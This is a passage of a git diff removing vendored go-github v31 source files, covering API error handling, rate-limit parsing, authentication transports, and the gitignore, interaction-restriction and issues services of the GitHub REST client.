describing the error. Errors with Code == "custom" will always have this set. -} - -func (e *Error) Error() string { - return fmt.Sprintf("%v error caused by %v field on %v resource", - e.Code, e.Field, e.Resource) -} - -func (e *Error) UnmarshalJSON(data []byte) error { - type aliasError Error // avoid infinite recursion by using type alias. - if err := json.Unmarshal(data, (*aliasError)(e)); err != nil { - return json.Unmarshal(data, &e.Message) // data can be json string. - } - return nil -} - -// CheckResponse checks the API response for errors, and returns them if -// present. A response is considered an error if it has a status code outside -// the 200 range or equal to 202 Accepted. -// API error responses are expected to have response -// body, and a JSON response body that maps to ErrorResponse. -// -// The error type will be *RateLimitError for rate limit exceeded errors, -// *AcceptedError for 202 Accepted status codes, -// and *TwoFactorAuthError for two-factor authentication errors. -func CheckResponse(r *http.Response) error { - if r.StatusCode == http.StatusAccepted { - return &AcceptedError{} - } - if c := r.StatusCode; 200 <= c && c <= 299 { - return nil - } - errorResponse := &ErrorResponse{Response: r} - data, err := ioutil.ReadAll(r.Body) - if err == nil && data != nil { - json.Unmarshal(data, errorResponse) - } - // Re-populate error response body because GitHub error responses are often - // undocumented and inconsistent. - // Issue #1136, #540. - r.Body = ioutil.NopCloser(bytes.NewBuffer(data)) - switch { - case r.StatusCode == http.StatusUnauthorized && strings.HasPrefix(r.Header.Get(headerOTP), "required"): - return (*TwoFactorAuthError)(errorResponse) - case r.StatusCode == http.StatusForbidden && r.Header.Get(headerRateRemaining) == "0": - return &RateLimitError{ - Rate: parseRate(r), - Response: errorResponse.Response, - Message: errorResponse.Message, - } - case r.StatusCode == http.StatusForbidden && strings.HasSuffix(errorResponse.DocumentationURL, "/v3/#abuse-rate-limits"): - abuseRateLimitError := &AbuseRateLimitError{ - Response: errorResponse.Response, - Message: errorResponse.Message, - } - if v := r.Header["Retry-After"]; len(v) > 0 { - // According to GitHub support, the "Retry-After" header value will be - // an integer which represents the number of seconds that one should - // wait before resuming making requests. - retryAfterSeconds, _ := strconv.ParseInt(v[0], 10, 64) // Error handling is noop. - retryAfter := time.Duration(retryAfterSeconds) * time.Second - abuseRateLimitError.RetryAfter = &retryAfter - } - return abuseRateLimitError - default: - return errorResponse - } -} - -// parseBoolResponse determines the boolean result from a GitHub API response. -// Several GitHub API methods return boolean responses indicated by the HTTP -// status code in the response (true indicated by a 204, false indicated by a -// 404). This helper function will determine that result and hide the 404 -// error if present. Any other error will be returned through as-is. -func parseBoolResponse(err error) (bool, error) { - if err == nil { - return true, nil - } - - if err, ok := err.(*ErrorResponse); ok && err.Response.StatusCode == http.StatusNotFound { - // Simply false. In this one case, we do not pass the error through. - return false, nil - } - - // some other real error occurred - return false, err -} - -// Rate represents the rate limit for the current client. -type Rate struct { - // The number of requests per hour the client is currently limited to. - Limit int `json:"limit"` - - // The number of remaining requests the client can make this hour. - Remaining int `json:"remaining"` - - // The time at which the current rate limit will reset. - Reset Timestamp `json:"reset"` -} - -func (r Rate) String() string { - return Stringify(r) -} - -// RateLimits represents the rate limits for the current client. -type RateLimits struct { - // The rate limit for non-search API requests. Unauthenticated - // requests are limited to 60 per hour. Authenticated requests are - // limited to 5,000 per hour. - // - // GitHub API docs: https://developer.github.com/v3/#rate-limiting - Core *Rate `json:"core"` - - // The rate limit for search API requests. Unauthenticated requests - // are limited to 10 requests per minutes. Authenticated requests are - // limited to 30 per minute. - // - // GitHub API docs: https://developer.github.com/v3/search/#rate-limit - Search *Rate `json:"search"` -} - -func (r RateLimits) String() string { - return Stringify(r) -} - -type rateLimitCategory uint8 - -const ( - coreCategory rateLimitCategory = iota - searchCategory - - categories // An array of this length will be able to contain all rate limit categories. -) - -// category returns the rate limit category of the endpoint, determined by Request.URL.Path. -func category(path string) rateLimitCategory { - switch { - default: - return coreCategory - case strings.HasPrefix(path, "/search/"): - return searchCategory - } -} - -// RateLimits returns the rate limits for the current client. -func (c *Client) RateLimits(ctx context.Context) (*RateLimits, *Response, error) { - req, err := c.NewRequest("GET", "rate_limit", nil) - if err != nil { - return nil, nil, err - } - - response := new(struct { - Resources *RateLimits `json:"resources"` - }) - resp, err := c.Do(ctx, req, response) - if err != nil { - return nil, nil, err - } - - if response.Resources != nil { - c.rateMu.Lock() - if response.Resources.Core != nil { - c.rateLimits[coreCategory] = *response.Resources.Core - } - if response.Resources.Search != nil { - c.rateLimits[searchCategory] = *response.Resources.Search - } - c.rateMu.Unlock() - } - - return response.Resources, resp, nil -} - -func setCredentialsAsHeaders(req *http.Request, id, secret string) *http.Request { - // To set extra headers, we must make a copy of the Request so - // that we don't modify the Request we were given. This is required by the - // specification of http.RoundTripper. - // - // Since we are going to modify only req.Header here, we only need a deep copy - // of req.Header. - convertedRequest := new(http.Request) - *convertedRequest = *req - convertedRequest.Header = make(http.Header, len(req.Header)) - - for k, s := range req.Header { - convertedRequest.Header[k] = append([]string(nil), s...) - } - convertedRequest.SetBasicAuth(id, secret) - return convertedRequest -} - -/* -UnauthenticatedRateLimitedTransport allows you to make unauthenticated calls -that need to use a higher rate limit associated with your OAuth application. - - t := &github.UnauthenticatedRateLimitedTransport{ - ClientID: "your app's client ID", - ClientSecret: "your app's client secret", - } - client := github.NewClient(t.Client()) - -This will add the client id and secret as a base64-encoded string in the format -ClientID:ClientSecret and apply it as an "Authorization": "Basic" header. - -See https://developer.github.com/v3/#unauthenticated-rate-limited-requests for -more information. -*/ -type UnauthenticatedRateLimitedTransport struct { - // ClientID is the GitHub OAuth client ID of the current application, which - // can be found by selecting its entry in the list at - // https://github.com/settings/applications. - ClientID string - - // ClientSecret is the GitHub OAuth client secret of the current - // application. - ClientSecret string - - // Transport is the underlying HTTP transport to use when making requests. - // It will default to http.DefaultTransport if nil. - Transport http.RoundTripper -} - -// RoundTrip implements the RoundTripper interface. -func (t *UnauthenticatedRateLimitedTransport) RoundTrip(req *http.Request) (*http.Response, error) { - if t.ClientID == "" { - return nil, errors.New("t.ClientID is empty") - } - if t.ClientSecret == "" { - return nil, errors.New("t.ClientSecret is empty") - } - - req2 := setCredentialsAsHeaders(req, t.ClientID, t.ClientSecret) - // Make the HTTP request. - return t.transport().RoundTrip(req2) -} - -// Client returns an *http.Client that makes requests which are subject to the -// rate limit of your OAuth application. -func (t *UnauthenticatedRateLimitedTransport) Client() *http.Client { - return &http.Client{Transport: t} -} - -func (t *UnauthenticatedRateLimitedTransport) transport() http.RoundTripper { - if t.Transport != nil { - return t.Transport - } - return http.DefaultTransport -} - -// BasicAuthTransport is an http.RoundTripper that authenticates all requests -// using HTTP Basic Authentication with the provided username and password. It -// additionally supports users who have two-factor authentication enabled on -// their GitHub account. -type BasicAuthTransport struct { - Username string // GitHub username - Password string // GitHub password - OTP string // one-time password for users with two-factor auth enabled - - // Transport is the underlying HTTP transport to use when making requests. - // It will default to http.DefaultTransport if nil. - Transport http.RoundTripper -} - -// RoundTrip implements the RoundTripper interface. -func (t *BasicAuthTransport) RoundTrip(req *http.Request) (*http.Response, error) { - req2 := setCredentialsAsHeaders(req, t.Username, t.Password) - if t.OTP != "" { - req2.Header.Set(headerOTP, t.OTP) - } - return t.transport().RoundTrip(req2) -} - -// Client returns an *http.Client that makes requests that are authenticated -// using HTTP Basic Authentication. -func (t *BasicAuthTransport) Client() *http.Client { - return &http.Client{Transport: t} -} - -func (t *BasicAuthTransport) transport() http.RoundTripper { - if t.Transport != nil { - return t.Transport - } - return http.DefaultTransport -} - -// formatRateReset formats d to look like "[rate reset in 2s]" or -// "[rate reset in 87m02s]" for the positive durations. And like "[rate limit was reset 87m02s ago]" -// for the negative cases. -func formatRateReset(d time.Duration) string { - isNegative := d < 0 - if isNegative { - d *= -1 - } - secondsTotal := int(0.5 + d.Seconds()) - minutes := secondsTotal / 60 - seconds := secondsTotal - minutes*60 - - var timeString string - if minutes > 0 { - timeString = fmt.Sprintf("%dm%02ds", minutes, seconds) - } else { - timeString = fmt.Sprintf("%ds", seconds) - } - - if isNegative { - return fmt.Sprintf("[rate limit was reset %v ago]", timeString) - } - return fmt.Sprintf("[rate reset in %v]", timeString) -} - -// Bool is a helper routine that allocates a new bool value -// to store v and returns a pointer to it. -func Bool(v bool) *bool { return &v } - -// Int is a helper routine that allocates a new int value -// to store v and returns a pointer to it. -func Int(v int) *int { return &v } - -// Int64 is a helper routine that allocates a new int64 value -// to store v and returns a pointer to it. -func Int64(v int64) *int64 { return &v } - -// String is a helper routine that allocates a new string value -// to store v and returns a pointer to it. -func String(v string) *string { return &v } diff --git a/vendor/github.com/google/go-github/v31/github/gitignore.go b/vendor/github.com/google/go-github/v31/github/gitignore.go deleted file mode 100644 index dc2eab757a..0000000000 --- a/vendor/github.com/google/go-github/v31/github/gitignore.go +++ /dev/null @@ -1,64 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// GitignoresService provides access to the gitignore related functions in the -// GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/gitignore/ -type GitignoresService service - -// Gitignore represents a .gitignore file as returned by the GitHub API. -type Gitignore struct { - Name *string `json:"name,omitempty"` - Source *string `json:"source,omitempty"` -} - -func (g Gitignore) String() string { - return Stringify(g) -} - -// List all available Gitignore templates. -// -// GitHub API docs: https://developer.github.com/v3/gitignore/#listing-available-templates -func (s *GitignoresService) List(ctx context.Context) ([]string, *Response, error) { - req, err := s.client.NewRequest("GET", "gitignore/templates", nil) - if err != nil { - return nil, nil, err - } - - var availableTemplates []string - resp, err := s.client.Do(ctx, req, &availableTemplates) - if err != nil { - return nil, resp, err - } - - return availableTemplates, resp, nil -} - -// Get a Gitignore by name. -// -// GitHub API docs: https://developer.github.com/v3/gitignore/#get-a-single-template -func (s *GitignoresService) Get(ctx context.Context, name string) (*Gitignore, *Response, error) { - u := fmt.Sprintf("gitignore/templates/%v", name) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - gitignore := new(Gitignore) - resp, err := s.client.Do(ctx, req, gitignore) - if err != nil { - return nil, resp, err - } - - return gitignore, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/interactions.go b/vendor/github.com/google/go-github/v31/github/interactions.go deleted file mode 100644 index b9965491db..0000000000 --- a/vendor/github.com/google/go-github/v31/github/interactions.go +++ /dev/null @@ -1,28 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -// InteractionsService handles communication with the repository and organization related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/interactions/ -type InteractionsService service - -// InteractionRestriction represents the interaction restrictions for repository and organization. -type InteractionRestriction struct { - // Specifies the group of GitHub users who can - // comment, open issues, or create pull requests for the given repository. - // Possible values are: "existing_users", "contributors_only" and "collaborators_only". - Limit *string `json:"limit,omitempty"` - - // Origin specifies the type of the resource to interact with. - // Possible values are: "repository" and "organization". - Origin *string `json:"origin,omitempty"` - - // ExpiresAt specifies the time after which the interaction restrictions expire. - // The default expiry time is 24 hours from the time restriction is created. - ExpiresAt *Timestamp `json:"expires_at,omitempty"` -} diff --git a/vendor/github.com/google/go-github/v31/github/interactions_orgs.go b/vendor/github.com/google/go-github/v31/github/interactions_orgs.go deleted file mode 100644 index af25f6567d..0000000000 --- a/vendor/github.com/google/go-github/v31/github/interactions_orgs.go +++ /dev/null @@ -1,80 +0,0 @@ -// Copyright 2019 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// GetRestrictionsForOrg fetches the interaction restrictions for an organization. -// -// GitHub API docs: https://developer.github.com/v3/interactions/orgs/#get-interaction-restrictions-for-an-organization -func (s *InteractionsService) GetRestrictionsForOrg(ctx context.Context, organization string) (*InteractionRestriction, *Response, error) { - u := fmt.Sprintf("orgs/%v/interaction-limits", organization) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeInteractionRestrictionsPreview) - - organizationInteractions := new(InteractionRestriction) - - resp, err := s.client.Do(ctx, req, organizationInteractions) - if err != nil { - return nil, resp, err - } - - return organizationInteractions, resp, nil -} - -// UpdateRestrictionsForOrg adds or updates the interaction restrictions for an organization. -// -// limit specifies the group of GitHub users who can comment, open issues, or create pull requests -// in public repositories for the given organization. -// Possible values are: "existing_users", "contributors_only", "collaborators_only". -// -// GitHub API docs: https://developer.github.com/v3/interactions/orgs/#add-or-update-interaction-restrictions-for-an-organization -func (s *InteractionsService) UpdateRestrictionsForOrg(ctx context.Context, organization, limit string) (*InteractionRestriction, *Response, error) { - u := fmt.Sprintf("orgs/%v/interaction-limits", organization) - - interaction := &InteractionRestriction{Limit: String(limit)} - - req, err := s.client.NewRequest("PUT", u, interaction) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeInteractionRestrictionsPreview) - - organizationInteractions := new(InteractionRestriction) - - resp, err := s.client.Do(ctx, req, organizationInteractions) - if err != nil { - return nil, resp, err - } - - return organizationInteractions, resp, nil -} - -// RemoveRestrictionsFromOrg removes the interaction restrictions for an organization. -// -// GitHub API docs: https://developer.github.com/v3/interactions/orgs/#remove-interaction-restrictions-for-an-organization -func (s *InteractionsService) RemoveRestrictionsFromOrg(ctx context.Context, organization string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/interaction-limits", organization) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeInteractionRestrictionsPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/interactions_repos.go b/vendor/github.com/google/go-github/v31/github/interactions_repos.go deleted file mode 100644 index 58234822fd..0000000000 --- a/vendor/github.com/google/go-github/v31/github/interactions_repos.go +++ /dev/null @@ -1,80 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// GetRestrictionsForRepo fetches the interaction restrictions for a repository. -// -// GitHub API docs: https://developer.github.com/v3/interactions/repos/#get-interaction-restrictions-for-a-repository -func (s *InteractionsService) GetRestrictionsForRepo(ctx context.Context, owner, repo string) (*InteractionRestriction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/interaction-limits", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeInteractionRestrictionsPreview) - - repositoryInteractions := new(InteractionRestriction) - - resp, err := s.client.Do(ctx, req, repositoryInteractions) - if err != nil { - return nil, resp, err - } - - return repositoryInteractions, resp, nil -} - -// UpdateRestrictionsForRepo adds or updates the interaction restrictions for a repository. -// -// limit specifies the group of GitHub users who can comment, open issues, or create pull requests -// for the given repository. -// Possible values are: "existing_users", "contributors_only", "collaborators_only". -// -// GitHub API docs: https://developer.github.com/v3/interactions/repos/#add-or-update-interaction-restrictions-for-a-repository -func (s *InteractionsService) UpdateRestrictionsForRepo(ctx context.Context, owner, repo, limit string) (*InteractionRestriction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/interaction-limits", owner, repo) - - interaction := &InteractionRestriction{Limit: String(limit)} - - req, err := s.client.NewRequest("PUT", u, interaction) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeInteractionRestrictionsPreview) - - repositoryInteractions := new(InteractionRestriction) - - resp, err := s.client.Do(ctx, req, repositoryInteractions) - if err != nil { - return nil, resp, err - } - - return repositoryInteractions, resp, nil -} - -// RemoveRestrictionsFromRepo removes the interaction restrictions for a repository. -// -// GitHub API docs: https://developer.github.com/v3/interactions/repos/#remove-interaction-restrictions-for-a-repository -func (s *InteractionsService) RemoveRestrictionsFromRepo(ctx context.Context, owner, repo string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/interaction-limits", owner, repo) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeInteractionRestrictionsPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/issues.go b/vendor/github.com/google/go-github/v31/github/issues.go deleted file mode 100644 index ccce80abc7..0000000000 --- a/vendor/github.com/google/go-github/v31/github/issues.go +++ /dev/null @@ -1,343 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "strings" - "time" -) - -// IssuesService handles communication with the issue related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/issues/ -type IssuesService service - -// Issue represents a GitHub issue on a repository. -// -// Note: As far as the GitHub API is concerned, every pull request is an issue, -// but not every issue is a pull request. Some endpoints, events, and webhooks -// may also return pull requests via this struct. If PullRequestLinks is nil, -// this is an issue, and if PullRequestLinks is not nil, this is a pull request. -// The IsPullRequest helper method can be used to check that. -type Issue struct { - ID *int64 `json:"id,omitempty"` - Number *int `json:"number,omitempty"` - State *string `json:"state,omitempty"` - Locked *bool `json:"locked,omitempty"` - Title *string `json:"title,omitempty"` - Body *string `json:"body,omitempty"` - AuthorAssociation *string `json:"author_association,omitempty"` - User *User `json:"user,omitempty"` - Labels []*Label `json:"labels,omitempty"` - Assignee *User `json:"assignee,omitempty"` - Comments *int `json:"comments,omitempty"` - ClosedAt *time.Time `json:"closed_at,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - ClosedBy *User `json:"closed_by,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - CommentsURL *string `json:"comments_url,omitempty"` - EventsURL *string `json:"events_url,omitempty"` - LabelsURL *string `json:"labels_url,omitempty"` - RepositoryURL *string `json:"repository_url,omitempty"` - Milestone *Milestone `json:"milestone,omitempty"` - PullRequestLinks *PullRequestLinks `json:"pull_request,omitempty"` - Repository *Repository `json:"repository,omitempty"` - Reactions *Reactions `json:"reactions,omitempty"` - Assignees []*User `json:"assignees,omitempty"` - NodeID *string `json:"node_id,omitempty"` - - // TextMatches is only populated from search results that request text matches - // See: search.go and https://developer.github.com/v3/search/#text-match-metadata - TextMatches []*TextMatch `json:"text_matches,omitempty"` - - // ActiveLockReason is populated only when LockReason is provided while locking the issue. - // Possible values are: "off-topic", "too heated", "resolved", and "spam". - ActiveLockReason *string `json:"active_lock_reason,omitempty"` -} - -func (i Issue) String() string { - return Stringify(i) -} - -// IsPullRequest reports whether the issue is also a pull request. It uses the -// method recommended by GitHub's API documentation, which is to check whether -// PullRequestLinks is non-nil. -func (i Issue) IsPullRequest() bool { - return i.PullRequestLinks != nil -} - -// IssueRequest represents a request to create/edit an issue. -// It is separate from Issue above because otherwise Labels -// and Assignee fail to serialize to the correct JSON. -type IssueRequest struct { - Title *string `json:"title,omitempty"` - Body *string `json:"body,omitempty"` - Labels *[]string `json:"labels,omitempty"` - Assignee *string `json:"assignee,omitempty"` - State *string `json:"state,omitempty"` - Milestone *int `json:"milestone,omitempty"` - Assignees *[]string `json:"assignees,omitempty"` -} - -// IssueListOptions specifies the optional parameters to the IssuesService.List -// and IssuesService.ListByOrg methods. -type IssueListOptions struct { - // Filter specifies which issues to list. Possible values are: assigned, - // created, mentioned, subscribed, all. Default is "assigned". - Filter string `url:"filter,omitempty"` - - // State filters issues based on their state. Possible values are: open, - // closed, all. Default is "open". - State string `url:"state,omitempty"` - - // Labels filters issues based on their label. - Labels []string `url:"labels,comma,omitempty"` - - // Sort specifies how to sort issues. Possible values are: created, updated, - // and comments. Default value is "created". - Sort string `url:"sort,omitempty"` - - // Direction in which to sort issues. Possible values are: asc, desc. - // Default is "desc". - Direction string `url:"direction,omitempty"` - - // Since filters issues by time. - Since time.Time `url:"since,omitempty"` - - ListOptions -} - -// PullRequestLinks object is added to the Issue object when it's an issue included -// in the IssueCommentEvent webhook payload, if the webhook is fired by a comment on a PR. -type PullRequestLinks struct { - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - DiffURL *string `json:"diff_url,omitempty"` - PatchURL *string `json:"patch_url,omitempty"` -} - -// List the issues for the authenticated user. If all is true, list issues -// across all the user's visible repositories including owned, member, and -// organization repositories; if false, list only owned and member -// repositories. -// -// GitHub API docs: https://developer.github.com/v3/issues/#list-issues-assigned-to-the-authenticated-user -// GitHub API docs: https://developer.github.com/v3/issues/#list-user-account-issues-assigned-to-the-authenticated-user -func (s *IssuesService) List(ctx context.Context, all bool, opts *IssueListOptions) ([]*Issue, *Response, error) { - var u string - if all { - u = "issues" - } else { - u = "user/issues" - } - return s.listIssues(ctx, u, opts) -} - -// ListByOrg fetches the issues in the specified organization for the -// authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/issues/#list-organization-issues-assigned-to-the-authenticated-user -func (s *IssuesService) ListByOrg(ctx context.Context, org string, opts *IssueListOptions) ([]*Issue, *Response, error) { - u := fmt.Sprintf("orgs/%v/issues", org) - return s.listIssues(ctx, u, opts) -} - -func (s *IssuesService) listIssues(ctx context.Context, u string, opts *IssueListOptions) ([]*Issue, *Response, error) { - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeReactionsPreview, mediaTypeLockReasonPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var issues []*Issue - resp, err := s.client.Do(ctx, req, &issues) - if err != nil { - return nil, resp, err - } - - return issues, resp, nil -} - -// IssueListByRepoOptions specifies the optional parameters to the -// IssuesService.ListByRepo method. -type IssueListByRepoOptions struct { - // Milestone limits issues for the specified milestone. Possible values are - // a milestone number, "none" for issues with no milestone, "*" for issues - // with any milestone. - Milestone string `url:"milestone,omitempty"` - - // State filters issues based on their state. Possible values are: open, - // closed, all. Default is "open". - State string `url:"state,omitempty"` - - // Assignee filters issues based on their assignee. Possible values are a - // user name, "none" for issues that are not assigned, "*" for issues with - // any assigned user. - Assignee string `url:"assignee,omitempty"` - - // Creator filters issues based on their creator. - Creator string `url:"creator,omitempty"` - - // Mentioned filters issues to those mentioned a specific user. - Mentioned string `url:"mentioned,omitempty"` - - // Labels filters issues based on their label. - Labels []string `url:"labels,omitempty,comma"` - - // Sort specifies how to sort issues. Possible values are: created, updated, - // and comments. Default value is "created". - Sort string `url:"sort,omitempty"` - - // Direction in which to sort issues. Possible values are: asc, desc. - // Default is "desc". - Direction string `url:"direction,omitempty"` - - // Since filters issues by time. - Since time.Time `url:"since,omitempty"` - - ListOptions -} - -// ListByRepo lists the issues for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/#list-repository-issues -func (s *IssuesService) ListByRepo(ctx context.Context, owner string, repo string, opts *IssueListByRepoOptions) ([]*Issue, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeReactionsPreview, mediaTypeIntegrationPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var issues []*Issue - resp, err := s.client.Do(ctx, req, &issues) - if err != nil { - return nil, resp, err - } - - return issues, resp, nil -} - -// Get a single issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/#get-an-issue -func (s *IssuesService) Get(ctx context.Context, owner string, repo string, number int) (*Issue, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d", owner, repo, number) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeReactionsPreview, mediaTypeLockReasonPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - issue := new(Issue) - resp, err := s.client.Do(ctx, req, issue) - if err != nil { - return nil, resp, err - } - - return issue, resp, nil -} - -// Create a new issue on the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/#create-an-issue -func (s *IssuesService) Create(ctx context.Context, owner string, repo string, issue *IssueRequest) (*Issue, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues", owner, repo) - req, err := s.client.NewRequest("POST", u, issue) - if err != nil { - return nil, nil, err - } - - i := new(Issue) - resp, err := s.client.Do(ctx, req, i) - if err != nil { - return nil, resp, err - } - - return i, resp, nil -} - -// Edit an issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/#update-an-issue -func (s *IssuesService) Edit(ctx context.Context, owner string, repo string, number int, issue *IssueRequest) (*Issue, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d", owner, repo, number) - req, err := s.client.NewRequest("PATCH", u, issue) - if err != nil { - return nil, nil, err - } - - i := new(Issue) - resp, err := s.client.Do(ctx, req, i) - if err != nil { - return nil, resp, err - } - - return i, resp, nil -} - -// LockIssueOptions specifies the optional parameters to the -// IssuesService.Lock method. -type LockIssueOptions struct { - // LockReason specifies the reason to lock this issue. - // Providing a lock reason can help make it clearer to contributors why an issue - // was locked. Possible values are: "off-topic", "too heated", "resolved", and "spam". - LockReason string `json:"lock_reason,omitempty"` -} - -// Lock an issue's conversation. -// -// GitHub API docs: https://developer.github.com/v3/issues/#lock-an-issue -func (s *IssuesService) Lock(ctx context.Context, owner string, repo string, number int, opts *LockIssueOptions) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/lock", owner, repo, number) - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, err - } - - if opts != nil { - req.Header.Set("Accept", mediaTypeLockReasonPreview) - } - - return s.client.Do(ctx, req, nil) -} - -// Unlock an issue's conversation. -// -// GitHub API docs: https://developer.github.com/v3/issues/#unlock-an-issue -func (s *IssuesService) Unlock(ctx context.Context, owner string, repo string, number int) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/lock", owner, repo, number) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/issues_assignees.go b/vendor/github.com/google/go-github/v31/github/issues_assignees.go deleted file mode 100644 index c09806fd62..0000000000 --- a/vendor/github.com/google/go-github/v31/github/issues_assignees.go +++ /dev/null @@ -1,85 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListAssignees fetches all available assignees (owners and collaborators) to -// which issues may be assigned. -// -// GitHub API docs: https://developer.github.com/v3/issues/assignees/#list-assignees -func (s *IssuesService) ListAssignees(ctx context.Context, owner, repo string, opts *ListOptions) ([]*User, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/assignees", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - var assignees []*User - resp, err := s.client.Do(ctx, req, &assignees) - if err != nil { - return nil, resp, err - } - - return assignees, resp, nil -} - -// IsAssignee checks if a user is an assignee for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/assignees/#check-assignee -func (s *IssuesService) IsAssignee(ctx context.Context, owner, repo, user string) (bool, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/assignees/%v", owner, repo, user) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - resp, err := s.client.Do(ctx, req, nil) - assignee, err := parseBoolResponse(err) - return assignee, resp, err -} - -// AddAssignees adds the provided GitHub users as assignees to the issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/assignees/#add-assignees-to-an-issue -func (s *IssuesService) AddAssignees(ctx context.Context, owner, repo string, number int, assignees []string) (*Issue, *Response, error) { - users := &struct { - Assignees []string `json:"assignees,omitempty"` - }{Assignees: assignees} - u := fmt.Sprintf("repos/%v/%v/issues/%v/assignees", owner, repo, number) - req, err := s.client.NewRequest("POST", u, users) - if err != nil { - return nil, nil, err - } - - issue := &Issue{} - resp, err := s.client.Do(ctx, req, issue) - return issue, resp, err -} - -// RemoveAssignees removes the provided GitHub users as assignees from the issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/assignees/#remove-assignees-from-an-issue -func (s *IssuesService) RemoveAssignees(ctx context.Context, owner, repo string, number int, assignees []string) (*Issue, *Response, error) { - users := &struct { - Assignees []string `json:"assignees,omitempty"` - }{Assignees: assignees} - u := fmt.Sprintf("repos/%v/%v/issues/%v/assignees", owner, repo, number) - req, err := s.client.NewRequest("DELETE", u, users) - if err != nil { - return nil, nil, err - } - - issue := &Issue{} - resp, err := s.client.Do(ctx, req, issue) - return issue, resp, err -} diff --git a/vendor/github.com/google/go-github/v31/github/issues_comments.go b/vendor/github.com/google/go-github/v31/github/issues_comments.go deleted file mode 100644 index 5e5a754744..0000000000 --- a/vendor/github.com/google/go-github/v31/github/issues_comments.go +++ /dev/null @@ -1,154 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// IssueComment represents a comment left on an issue. -type IssueComment struct { - ID *int64 `json:"id,omitempty"` - NodeID 